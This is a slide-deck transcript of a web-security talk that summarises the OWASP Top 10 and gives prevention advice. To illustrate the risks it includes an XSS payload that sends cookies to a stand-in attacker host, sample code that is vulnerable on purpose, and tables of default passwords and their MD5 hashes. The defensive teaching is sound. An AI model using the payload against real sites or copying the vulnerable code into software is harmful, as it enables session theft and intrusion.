The document discusses the top 10 security risks according to the OWASP organization. It summarizes each risk, provides examples, and recommends how to prevent the risks such as implementing access controls, validating user input to prevent injection and cross-site scripting attacks, encrypting sensitive data, keeping software updated to prevent vulnerabilities, and properly logging and monitoring systems. The overall message is for web developers to prioritize security, get informed on risks, validate input, and monitor systems.

1. blog.oio.de@Roland_Krueger
Security 101 for Web Developers
Roland

2. Roland Krüger
• Trivadis Mannheim
@Roland_Krueger blog.oio.de

3. Open Web Application Security Project

4. OWASP Top 10 Items

5. OWASP Cheat Sheets
https://cheatsheetseries.owasp.org

6. OWASP Top 10
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring

7. OWASP Top 10
1. Injection
2. Broken Authentication
3. Sensitive Data Exposure
4. XML External Entities (XXE)
5. Broken Access Control
6. Security Misconfiguration
7. Cross-Site Scripting (XSS)
8. Insecure Deserialization
9. Using Components with Known Vulnerabilities
10. Insufficient Logging & Monitoring

8. 1. Injection

9. 1. Injection

10. 5. Broken Access Control

11. 5. Broken Access Control
Access restrictions to application resources are not properly enforced.
Photo by Jonathon Young on Unsplash

12. • Attacker manipulates URL parameter
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
http://example.com/app/accountInfo?acct=notmyacct
5. Broken Access Control: Example
• Application uses unverified data in a SQL call

13. 5. Broken Access Control: How to Prevent
• Implement access control on server-side
• Deny by default
• Log failures
• Rate limit API access
• Unit test access control

14. 7. Cross-Site Scripting (XSS)

15. • Attacker modifies the CC parameter in the browser to
(String) page += "<input name='creditcard' type='TEXT'
value='" + request.getParameter("CC") + "'>";
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
7. Cross-Site Scripting (XSS)
Application includes unvalidated an unescaped user input as part of HTML output

16. Content-Security-Policy: default-src 'self'; img-src *; media-src
media1.com media2.com;
script-src userscripts.example.com
XSS: How to Prevent
• Use frameworks that prevent XSS by design
• Escape untrusted data
• Use Content Security Policy

17. 2. Broken Authentication

18. Uses weak credential recovery processes

19. Session ID Handling

20. Permits default, weak, or well-known
passwords
USER_NAME PASSWORD
admin admin
scott tiger
johnd 123456789
janed querty
dieter.develop password
dude password

21. Uses plain text or weakly hashed passwords
USER_NAME PASSWORD_HASH_MD5
admin 21232f297a57a5a743894a0e4a801fc3
scott 43b90920409618f188bfc6923f16b9fa
johnd 25f9e794323b453885f5181f1b624d0b
janed 356d0f282e7da14cb73f2614d191933b
dieter.develop 5f4dcc3b5aa765d61d8327deb882cf99
dude 5f4dcc3b5aa765d61d8327deb882cf99

22. Broken Authentication: How to Prevent
Multi-factor authentication

23. Do Not Permit Weak Passwords
• Complex password rules?
• Prevent weak passwords, e.g. myPassw0rd!
• Solution: Password blacklists

24. Prevent Account Enumeration Attacks
Source: https://www.troyhunt.com/tag/ashley-madison/

25. The Ashley Madison Hack
• Forgot Password?-response for invalid accounts:
• Response for valid accounts:

26. Broken Authentication: How to Prevent
• What else?
• Do not ship with default credentials
• Limit or delay failed login attempts
• Log possible attacks
Photo by John Salvino on Unsplash

27. 3. Sensitive Data Exposure

28. 3. Sensitive Data Exposure

29. 3. Sensitive Data Exposure
• Data is transmitted in clear text
• Sensitive data (incl. backups) is stored unencrypted
• Weak or old cryptographic algorithms are used
• User agent does not verify if the received server certificate is valid

30. Sensitive Data Exposure: How to Prevent
• Use TLS everywhere
• Don‘t include unencrypted (HTTP) content on a
secured (HTTPS) page
• Datensparsamkeit (data minimization)
• Encrypt sensitive data at rest
Photo by Dynamic Wang on Unsplash

31. Properly Handle Passwords
• Never store passwords in clear text
• Don‘t encrypt passwords, hash them
• Never provide password recovery function
• (“Send me my forgotten password“)

32. Dictionary Attacks and Rainbow Tables
Defense
• Hash functions must be slow
• Argon2, scrypt, bcrypt, or PBKDF2
• Don‘t even think about MD5 or SHA1
• Use salted passwords to prevent pre-computed hash databases

33. Salted Passwords
Function Hash
hash("hello") 5d41402abc4b2a76b9719d911017c592
hash("hello") 5d41402abc4b2a76b9719d911017c592
hash("hello" + "QxLUF1bgIAdeQX") 61819a2e9b721831243eba1aeaba8486
hash("hello" + "YYLmfY6IehjZMQ") 104f4f46d8222b57cbd543d75a3b8947

34. 6. Security Misconfiguration

35. 6. Security Misconfiguration
• Missing security hardening accross any part of the application stack
• Default accounts enabled
• Overly informative error messages
• Security settings in app servers, app frameworks, databases, etc. not set to secure values
• Server does not send security headers

36. Default Error Pages with Stack Traces

37. Unnecessary Features Enabled

38. Security Misconfiguration: How to prevent
• Implement secure installation processes
• Use repeatable hardening process
• Automate identical configuration of development, QA, and production environments
• Use minimal platform without unnecessary features, components, and samples

39. 8. Insecure Deserialization

40. 8. Insecure Deserialization
Deserialize hostile or tampered objects supplied by an attacker
Tampering by attacker

41. Insecure Deserialization: How to Prevent
• Integrity checks: digital signatures on serialized objects
• Use language-agnostic formats, e.g. JSON
• Enforce strict type constraints
• Log deserialization exceptions and failures
• Prevent remote execution, e.g. Java RMI

42. 9. Using Components with
Known Vulnerabilities

43. 9. Components with Known Vulnerabilities
• Application uses vulnerable, unsupported, or
out of date software
• No regular scanning for vulnerabilities
• No upgrade of the underlying platform, frameworks,
and dependencies in a timely manner
Photo by Anastasia Dulgier on Unsplash

44. How to Prevent
• Establish regular update policy
• Scan for vulnerable dependencies
• Continuously monitor sources like
• CVE (Common Vulnerabilities and Exposures, cve.mitre.org) or
• NVD (National Vulnerability Database, nvd.nist.gov)
• Obtain components from official sources over secure links
• Prefer signed packages
https://www.owasp.org/index.php/OWASP_Dependency_Check
https://github.com/retirejs/retire.js/

45. Example: The Equifax Breach
• Equifax - a U.S. consumer credit reporting agency
• Massive data breach in September 2017
• Breach was facilitated using a flaw in Apache Struts
• CVE-2017-5638, CVE-2017-9805
• Insecure deserialization in the REST communication plugin
• A patch was readily available but was not applied.
https://blog.avatao.com/Equifax-and-Apache-Struts/

46. 4. XML External Entities (XXE)

47. 4. XML External Entities
Attacks are facilitated by insecure XML processors

48. 10. Insufficient Logging &
Monitoring

49. 10. Insufficient Logging & Monitoring
• Auditable events are not logged
• Warnings and errors generate no or unclear log messages
• Logs and APIs not monitored for suspicious activity
• Attackers can probe systems undetected
• Logs only stored locally
Photo by Rainer Bleek on Unsplash

50. Conclusion
Get informed! Sensitize your peers! Security first!

51. The Key Takeaways
Configure!
Validate!
Monitor!